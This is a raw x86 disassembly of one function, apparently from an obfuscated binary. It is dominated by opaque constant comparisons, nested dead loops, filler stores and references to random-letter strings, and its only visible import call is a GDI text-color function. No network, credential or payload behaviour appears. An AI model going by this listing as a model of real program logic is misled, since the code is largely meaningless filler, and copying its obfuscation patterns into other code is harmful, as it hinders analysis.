mov dword [ebp - 0x16c8], 0x5154
push 0
lea eax, [ebp - 0x16c8]
push eax
push 1
push 0x6505
push 0x3ffd
call fcn.004537b0
add esp, 0x14
lea ecx, [ebp - 0x2540]
call fcn.0042fc11
jmp 0x456162
mov dword [ebp - 0xfc], 0xffffffe7
jmp 0x456248
cmp dword [ebp - 0xfc], 0xffffffed
jne 0x4566fd
mov dword [ebp - 0x1d0], 0xffffffff
mov dword [ebp - 0xfe4], 0xd90538e0
mov dword [ebp - 0x1544], 0x732bab2
mov dword [ebp - 0x3a0], 0
jmp 0x45628c
mov eax, dword [ebp - 0x3a0]
inc eax
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 2
jge 0x4562a8
mov eax, dword [ebp - 0x3a0]
mov dword [ebp + eax*4 - 0x7f0], 0xfffffffb
jmp 0x45627f
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x7f0], 1
jmp 0x4562d6
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7f0], 0x1b
je 0x456537
mov dword [ebp - 0x1e60], 0x5d76270
mov dword [ebp - 0x1e5c], 0x5d76270
mov dword [ebp - 0x1e58], 0x5d76270
mov dword [ebp - 0x1e54], 0x5d76270
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1e60]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x1e60], eax
mov dword [ebp - 0x1d0], 0xfffffff1
jmp 0x456346
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f0]
mov dword [ebp - 0x21ac], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x86c]
cmp dword [ebp + eax - 0x7f0], ecx
jne 0x456572
mov dword [ebp - 0x2478], 1
mov dword [ebp - 0x19ac], 0xade19d29
mov dword [ebp - 0x1f28], 0x25b0e446
mov dword [ebp - 0x1f24], 0x25b0e446
mov dword [ebp - 0x1f20], 0x25b0e446
mov dword [ebp - 0x1f1c], 0x25b0e446
lea ecx, [ebp - 0x985]
call fcn.0042fc3c
push eax
lea eax, [ebp - 0x1f18]
push eax
lea eax, [ebp - 0x1f28]
push eax
lea ecx, [ebp - 0x25bc]
call fcn.0042fc3f
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x2278]
call fcn.0042fbeb
mov eax, dword [ebp - 0x19ac]
mov dword [ebp - 0xb24], eax
push 1
lea ecx, [ebp - 0x2278]
call fcn.0042fc2d
mov ecx, dword [ebp - 0xb24]
mov dword [eax], ecx
cmp dword [ebp - 0xb24], 0
jne 0x45697e
mov dword [ebp - 0x209c], 9
mov dword [ebp - 0x2098], 9
mov dword [ebp - 0x2094], 9
mov dword [ebp - 0x2090], 9
mov dword [ebp - 0x21c4], 0
mov dword [ebp - 0x1454], 0x7d1e
mov dword [ebp - 0x154c], str.blx_hgajnn_etuid_drj_yeu_sdb_qkdstnuzv_czhxjxo_ymzbvm
cmp dword [ebp - 0x1454], 0x7e95
jle 0x4568cb
and dword [ebp - 0x6f4], 0
jmp 0x456808
cmp dword [ebp - 0x6f4], 0x6254
jge 0x4568cb
and dword [ebp - 0x3b0], 0
jmp 0x45682e
mov dword [ebp - 0x1b04], 0x7d8cf4c5
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x1454], 0x7d00
jge 0x4568f8
mov edx, dword [ebp - 0x154c]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x456914
or dword [ebp - 4], 0xffffffff
jmp 0x45691e
mov byte [ebp - 0x15d], 0
push 0x5936
push 0x76ca
push 0
push 0x7992
push 1
lea eax, [ebp - 0x15d]
push eax
push 0
push 0x7a8b
call fcn.0044bebc
add esp, 0x20
push 0x7066
push 0x5583
push 0x5a4a
push 0
push 0
push 1
push 0x1b4
call fcn.00452f5a
add esp, 0x1c
lea ecx, [ebp - 0x2278]
call fcn.0042fc11
mov dword [ebp - 0x10c], 0x24a8c6a5
mov dword [ebp - 0x29c], 1
mov dword [ebp - 0x234], 0xadeb9459
mov dword [ebp - 0x8c4], 1
mov dword [ebp - 0xfec], 0x581c
mov dword [ebp - 0x1554], str.spg_dzxdoseof_wspateg_xpoayd_cfugt_vbsiouu_hppsyksso_lca
cmp dword [ebp - 0xfec], 0x5887
jle 0x456a9a
and dword [ebp - 0x3c0], 0
jmp 0x456a39
cmp dword [ebp - 0x3c0], 0x3237
jge 0x456a9a
and dword [ebp - 0x5e8], 0
jmp 0x456a5b
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0xfec], 0x54c9
jge 0x456abd
mov edx, dword [ebp - 0x1554]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x456ad9
or dword [ebp - 4], 0xffffffff
jmp 0x456ae3
mov eax, dword [ebp - 0x1660]
mov dword [ebp - 0x1670], eax
mov eax, dword [ebp - 0x1668]
mov dword [ebp - 0x1678], eax
mov eax, dword [ebp - 0x1670]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x1678]
mov dword [ebp - 0x1680], eax
mov eax, dword [ebp - 0x2a0]
mov dword [eax], 0
jmp 0x466443
mov eax, dword [ebp - 0x2a0]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2a0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2a0]
cmp dword [eax], 1
jge 0x466469
mov eax, dword [ebp - 0x2a0]
push dword [eax]
mov ecx, dword [ebp - 0x1680]
call fcn.0042fc2d
mov dword [eax], 0x91023f12
jmp 0x466432
jmp 0x466743
lea eax, [ebp + 0xc]
mov dword [ebp - 0x1690], eax
mov dword [ebp - 0x1378], 0x4bf3
mov dword [ebp - 0x1688], str.yljcoti_mdd_itctjysre_wuxdgfku_uuhmprvjc_lchy_mqyr_wltwrvce_turfixhd_bzlv_vue_lgi_ttiaps
cmp dword [ebp - 0x1378], 0x4db3
jle 0x466510
and dword [ebp - 0x7c0], 0
jmp 0x4664ad
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 0x3a0d
jge 0x466510
and dword [ebp - 0x7c8], 0
jmp 0x4664cf
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0x4661
jge 0x46650e
mov eax, dword [ebp - 0x7c0]
mov ecx, dword [ebp - 0x7c8]
shl eax, cl
cdq
mov dword [ebp - 0x1a68], eax
mov dword [ebp - 0x1a64], edx
push dword [ebp - 0x1a64]
push dword [ebp - 0x1a68]
mov ecx, 0xabbe58
call fcn.0042fa2a
jmp 0x4664c2
jmp 0x4664a0
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x16a8], eax
mov dword [ebp - 4], 0x7e
cmp dword [ebp - 0x1378], 0x496a
jge 0x46653c
mov edx, dword [ebp - 0x1688]
mov ecx, 0xabbe58
call fcn.004313d0
jmp 0x466558
or dword [ebp - 4], 0xffffffff
jmp 0x466562
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1698], eax
mov eax, dword [ebp - 0x1690]
movzx eax, byte [eax]
test eax, eax
je 0x46659c
mov byte [ebp - 0x19c], 0
movzx eax, byte [ebp - 0x19c]
test eax, eax
je 0x466597
push 0
push 0x23d9
call dword [sym.imp.GDI32.dll_SetTextColor]
jmp 0x466743
mov dword [ebp - 0x1380], 0x65fa
mov dword [ebp - 0x16a0], str.uzufpqag_vqbmfvj_vzslfv_ikbdx_jkct_zvec_dwttghtsm
cmp dword [ebp - 0x1380], 0x67db
jle 0x466689
and dword [ebp - 0x7d4], 0
jmp 0x4665d6
mov eax, dword [ebp - 0x7d4]
inc eax
mov dword [ebp - 0x7d4], eax
cmp dword [ebp - 0x7d4], 0x5e10
jge 0x466689
and dword [ebp - 0x7dc], 0
jmp 0x4665fc
mov eax, dword [ebp - 0x7dc]
inc eax
mov dword [ebp - 0x7dc], eax
cmp dword [ebp - 0x7dc], 0x21d4
jge 0x466684
and dword [ebp - 0x7e4], 0
jmp 0x46661e
mov eax, dword [ebp - 0x7e4]
inc eax
mov dword [ebp - 0x7e4], eax
cmp dword [ebp - 0x7e4], 0x7565
jge 0x46667f
mov eax, dword [ebp - 0x7d4]
imul eax, dword [ebp - 0x7dc]
imul eax, dword [ebp - 0x7e4]
cdq
mov dword [ebp - 0x1a74], eax
mov dword [ebp - 0x1a70], edx
push dword [ebp - 0x1a70]
push dword [ebp - 0x1a74]
lea ecx, [ebp - 0x29e0]
call fcn.004018f3
pop ecx
pop ecx
mov ecx, eax
call fcn.0042fa1f
push eax
call fcn.00498447
pop ecx
lea ecx, [ebp - 0x29e0]
call fcn.0042fa15
jmp 0x466611
jmp 0x4665ef
jmp 0x4665c9
mov eax, dword [ebp - 0x1698]
mov dword [ebp - 0x16b0], eax
mov dword [ebp - 4], 0x80
cmp dword [ebp - 0x1380], 0x638f
jge 0x4666b4
push dword [ebp - 0x16a0]
call fcn.00498447
pop ecx
jmp 0x4666d0
or dword [ebp - 4], 0xffffffff
jmp 0x4666da
mov eax, dword [ebp - 0x16a8]
mov dword [ebp - 0x16b8], eax
mov eax, dword [ebp - 0x16b0]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x16b8]
mov dword [ebp - 0x16c0], eax
mov eax, dword [ebp - 0x2a8]
mov dword [eax], 0
jmp 0x46671d
mov eax, dword [ebp - 0x2a8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x2a8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x2a8]
cmp dword [eax], 3
jge 0x466743
mov eax, dword [ebp - 0x2a8]
push dword [eax]
mov ecx, dword [ebp - 0x16c0]
call fcn.0042fc2d
mov dword [eax], 0x24f20479
jmp 0x46670c
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret